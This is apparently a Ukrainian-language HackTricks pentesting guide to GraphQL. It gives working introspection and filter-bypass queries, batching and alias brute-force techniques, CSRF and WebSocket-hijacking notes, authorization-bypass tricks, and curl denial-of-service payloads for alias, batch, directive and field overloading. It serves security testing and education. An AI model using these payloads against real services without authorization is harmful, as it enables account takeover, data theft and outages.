GraphQL
Reading time: 26 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Introduction
GraphQL є ефективною альтернативою REST API, пропонуючи спрощений підхід для запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через один запит. Це спрощення значно допомагає розробникам, зменшуючи складність їх процесів отримання даних.
GraphQL і безпека
З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що GraphQL за замовчуванням не включає механізми аутентифікації. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки.
Атаки грубої сили на директорії та GraphQL
Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки грубої сили на директорії. Ці шляхи:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це важливо для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: GraphQL: Мова запитів для API.
Відбиток
Інструмент graphw00f здатний виявити, який движок GraphQL використовується на сервері, а потім виводить корисну інформацію для аудитора безпеки.
Універсальні запити
Щоб перевірити, чи є URL сервісом GraphQL, можна надіслати універсальний запит, query{__typename}
. Якщо відповідь містить {"data": {"__typename": "Query"}}
, це підтверджує, що URL містить кінцеву точку GraphQL. Цей метод спирається на поле __typename
GraphQL, яке розкриває тип запитуваного об'єкта.
query{__typename}
Основна Перерахунка
Graphql зазвичай підтримує GET, POST (x-www-form-urlencoded) та POST(json). Хоча для безпеки рекомендується дозволяти лише json, щоб запобігти атакам CSRF.
Інтроспекція
Щоб використовувати інтроспекцію для виявлення інформації про схему, запитайте поле __schema
. Це поле доступне на кореневому типі всіх запитів.
query={__schema{types{name,fields{name}}}}
За допомогою цього запиту ви знайдете назву всіх використовуваних типів:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
За допомогою цього запиту ви можете витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для того, щоб знати, як запитувати базу даних.
Помилки
Цікаво знати, чи помилки будуть показані, оскільки вони нададуть корисну інформацію.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Перерахунок схеми бази даних через інспекцію
note
Якщо інспекція увімкнена, але вищезазначений запит не виконується, спробуйте видалити директиви onOperation
, onFragment
та onField
зі структури запиту.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Вбудований запит на інспекцію:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Останній рядок коду є запитом graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)
Якщо інтроспекція увімкнена, ви можете використовувати GraphQL Voyager для перегляду всіх опцій у графічному інтерфейсі.
Запит
Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, давайте спробуємо витягти деякі значення.
В інтроспекції ви можете знайти який об'єкт ви можете безпосередньо запитувати (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "queryType" називається "Query", і що одне з полів об'єкта "Query" - це "flags", який також є типом об'єкта. Отже, ви можете запитувати об'єкт прапора.
Зверніть увагу, що тип запиту "flags" - це "Flags", і цей об'єкт визначається як нижче:
Ви можете побачити, що об'єкти "Flags" складаються з name та value. Тоді ви можете отримати всі імена та значення прапорців за допомогою запиту:
query={flags{name, value}}
Зверніть увагу, що якщо об'єкт для запиту є примітивним типом, таким як рядок, як у наступному прикладі
Ви можете просто запитати його за допомогою:
query = { hiddenFlags }
В іншому прикладі було 2 об'єкти всередині об'єкта типу "Query": "user" та "users".
Якщо цим об'єктам не потрібні аргументи для пошуку, можна отримати всю інформацію з них, просто попросивши дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі:
Однак у цьому прикладі, якщо ви спробуєте це зробити, ви отримаєте цю помилку:
Схоже, що якимось чином він буде шукати, використовуючи аргумент "uid" типу Int.
В будь-якому випадку, ми вже знали, що в розділі Basic Enumeration було запропоновано запит, який показував нам всю необхідну інформацію: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "user" мав аргумент "uid" типу Int.
Отже, виконуючи легкий uid брутфорс, я виявив, що при uid=1 було отримано ім'я користувача та пароль:
query={user(uid:1){user,password}}
Зверніть увагу, що я виявив, що можу запитати параметри "user" та "password", тому що якщо я спробую шукати щось, чого не існує (query={user(uid:1){noExists}}
), я отримую цю помилку:
І під час фази перерахунку я виявив, що об'єкт "dbuser" мав поля "user" та "password.
Трюк з вивантаженням рядка запиту (дякую @BinaryShadow_)
Якщо ви можете шукати за рядковим типом, наприклад: query={theusers(description: ""){username,password}}
і ви шукаєте порожній рядок, це вивантажить всі дані. (Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "theusers" за полем рядка під назвою "description").
Пошук
У цій конфігурації база даних містить осіб та фільми. Особи ідентифікуються за їх електронною поштою та іменем; фільми - за їх іменем та рейтинговою оцінкою. Особи можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
Ви можете шукати осіб за іменем і отримувати їх електронні адреси:
{
searchPerson(name: "John Doe") {
email
}
}
Ви можете шукати осіб за іменем і отримати їх підписані фільми:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Зверніть увагу, як вказано отримати name
з subscribedMovies
особи.
Ви також можете шукати кілька об'єктів одночасно. У цьому випадку виконується пошук 2 фільмів:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Або навіть відносини кількох різних об'єктів, використовуючи псевдоніми:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
Мутації використовуються для внесення змін на стороні сервера.
У інтроспекції ви можете знайти оголошені мутації. На наступному зображенні "MutationType" називається "Mutation", а об'єкт "Mutation" містить назви мутацій (як "addPerson" у цьому випадку):
У цій конфігурації база даних містить осіб та фільми. Особи ідентифікуються за їх електронною поштою та іменем; фільми - за їх іменем та рейтинговою оцінкою. Особи можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
Мутація для створення нових фільмів у базі даних може виглядати як наступна (у цьому прикладі мутація називається addMovie
):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Зверніть увагу, як у запиті вказані як значення, так і тип даних.
Крім того, база даних підтримує операцію мутації, названу addPerson
, яка дозволяє створювати осіб разом з їх асоціаціями до існуючих друзів та фільмів. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх зв'яжуть з новоствореною особою.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Директивне перевантаження
Як пояснено в одній з вразливостей, описаних у цьому звіті, директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу (DoS).
Пакетна брутфорс-атака в 1 API запиті
Цю інформацію було взято з https://lab.wallarm.com/graphql-batching-attack/.
Аутентифікація через GraphQL API з одночасною відправкою багатьох запитів з різними обліковими даними для перевірки. Це класична брутфорс-атака, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, який намагається вгадати паролі.
Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми з 3 різними парами електронна пошта/пароль одночасно. Очевидно, що можливо відправити тисячі в одному запиті таким же чином:
Як видно з скріншоту відповіді, перший і третій запити повернули null і відобразили відповідну інформацію в секції error. Другий мутаційний запит містив правильні дані аутентифікації і відповідь має правильний токен сесії аутентифікації.
GraphQL без інспекції
Все більше graphql кінцевих точок відключають інспекцію. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як clairvoyance, щоб відтворити більшу частину схеми.
Більше того, розширення Burp Suite GraphQuail спостерігає за запитами GraphQL API, які проходять через Burp і будує внутрішню GraphQL схему з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації перевірте це.
Гарний словник для виявлення суб'єктів GraphQL можна знайти тут.
Обхід захисту інспекції GraphQL
Щоб обійти обмеження на запити інспекції в API, вставка спеціального символу після ключового слова __schema
виявляється ефективною. Цей метод експлуатує загальні помилки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові __schema
. Додаючи символи, такі як пробіли, нові рядки та коми, які GraphQL ігнорує, але які можуть не бути враховані в regex, можна обійти обмеження. Наприклад, запит на інспекцію з новим рядком після __schema
може обійти такі захисти:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Якщо не вдалося, розгляньте альтернативні методи запитів, такі як GET запити або POST з x-www-form-urlencoded
, оскільки обмеження можуть застосовуватися лише до POST запитів.
Спробуйте WebSockets
Як згадувалося в цьому виступі, перевірте, чи можливо підключитися до graphQL через WebSockets, оскільки це може дозволити вам обійти потенційний WAF і змусити комунікацію через вебсокети витікати схему graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Виявлення Відкритих Структур GraphQL
Коли інспекція вимкнена, перевірка вихідного коду веб-сайту на наявність попередньо завантажених запитів у бібліотеках JavaScript є корисною стратегією. Ці запити можна знайти за допомогою вкладки Sources
у інструментах розробника, що надає інформацію про схему API та виявляє потенційно відкриті чутливі запити. Команди для пошуку в інструментах розробника такі:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF в GraphQL
Якщо ви не знаєте, що таке CSRF, прочитайте наступну сторінку:
CSRF (Cross Site Request Forgery)
Там ви зможете знайти кілька GraphQL кінцевих точок налаштованих без CSRF токенів.
Зверніть увагу, що запити GraphQL зазвичай надсилаються через POST запити з використанням Content-Type application/json
.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Однак більшість GraphQL кінцевих точок також підтримують form-urlencoded
POST запити:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Тому, оскільки запити CSRF, як і попередні, надсилаються без попередніх запитів, можливо виконати зміни в GraphQL, зловживаючи CSRF.
Однак зверніть увагу, що нове значення за замовчуванням куки для прапора samesite
у Chrome - Lax
. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET-запитах.
Зверніть увагу, що зазвичай можливо надіслати запит запиту також як GET запит, і токен CSRF може не перевірятися в GET-запиті.
Також, зловживаючи XS-Search атака, можливо ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
Для отримання додаткової інформації перевірте оригінальний пост тут.
Викрадення WebSocket між сайтами в GraphQL
Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками і змусити користувача виконувати неочікувані дії в GraphQL.
Для отримання додаткової інформації перевірте:
Авторизація в GraphQL
Багато функцій GraphQL, визначених на кінцевій точці, можуть перевіряти лише аутентифікацію запитувача, але не авторизацію.
Модифікація змінних вхідних запитів може призвести до витоку чутливих даних облікового запису leaked.
Мутація може навіть призвести до захоплення облікового запису, намагаючись змінити дані іншого облікового запису.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Обхід авторизації в GraphQL
Зв'язування запитів разом може обійти слабку систему аутентифікації.
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
Обхід обмежень швидкості за допомогою псевдонімів у GraphQL
У GraphQL псевдоніми - це потужна функція, яка дозволяє явно називати властивості під час виконання запиту API. Ця можливість особливо корисна для отримання кількох екземплярів одного типу об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: Aliases.
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисний випадок використання, коли псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження кількості HTTP-запитів. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS в GraphQL
Перевантаження псевдонімів
Перевантаження псевдонімів - це вразливість GraphQL, коли зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до Відмови в обслуговуванні (DoS). Наприклад, у наведеному нижче запиті те саме поле (expensiveField
) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно виснажує ЦП або пам'ять:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Щоб зменшити це, реалізуйте обмеження на кількість псевдонімів, аналіз складності запитів або обмеження швидкості, щоб запобігти зловживанню ресурсами.
Пакетування запитів на основі масивів
Пакетування запитів на основі масивів є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до відмови в обслуговуванні (DoS). Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром партії або запитами, які вимагають великих обчислень, це може перевантажити сервер.
Уразливість через перевантаження директив
Перевантаження директив відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Зверніть увагу, що в попередньому прикладі @aa
є користувацькою директивою, яка може не бути оголошена. Загальною директивою, яка зазвичай існує, є @include
:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Ви також можете надіслати запит на інспекцію, щоб виявити всі оголошені директиви:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
А потім використовуйте деякі з кастомних.
Вразливість Дублювання Полів
Дублювання Полів - це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно вирішувати поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та виклики до бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до Відмови в Обслуговуванні (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Інструменти
Сканери вразливостей
- https://github.com/dolevf/graphql-cop: Тестування поширених неправильних налаштувань graphql кінцевих точок
- https://github.com/assetnote/batchql: Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.
- https://github.com/dolevf/graphw00f: Визначення графіку, що використовується
- https://github.com/gsmith257-cyber/GraphCrawler: Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Може використовуватися як автономний інструмент або розширення Burp.
- https://github.com/swisskyrepo/GraphQLmap: Може використовуватися як CLI клієнт також для автоматизації атак:
python3 graphqlmap.py -u http://example.com/graphql --inject
- https://gitlab.com/dee-see/graphql-path-enum: Інструмент, який перераховує різні способи досягнення певного типу в схемі GraphQL.
- https://github.com/doyensec/GQLSpection: Наступник автономного та CLI режимів InQL
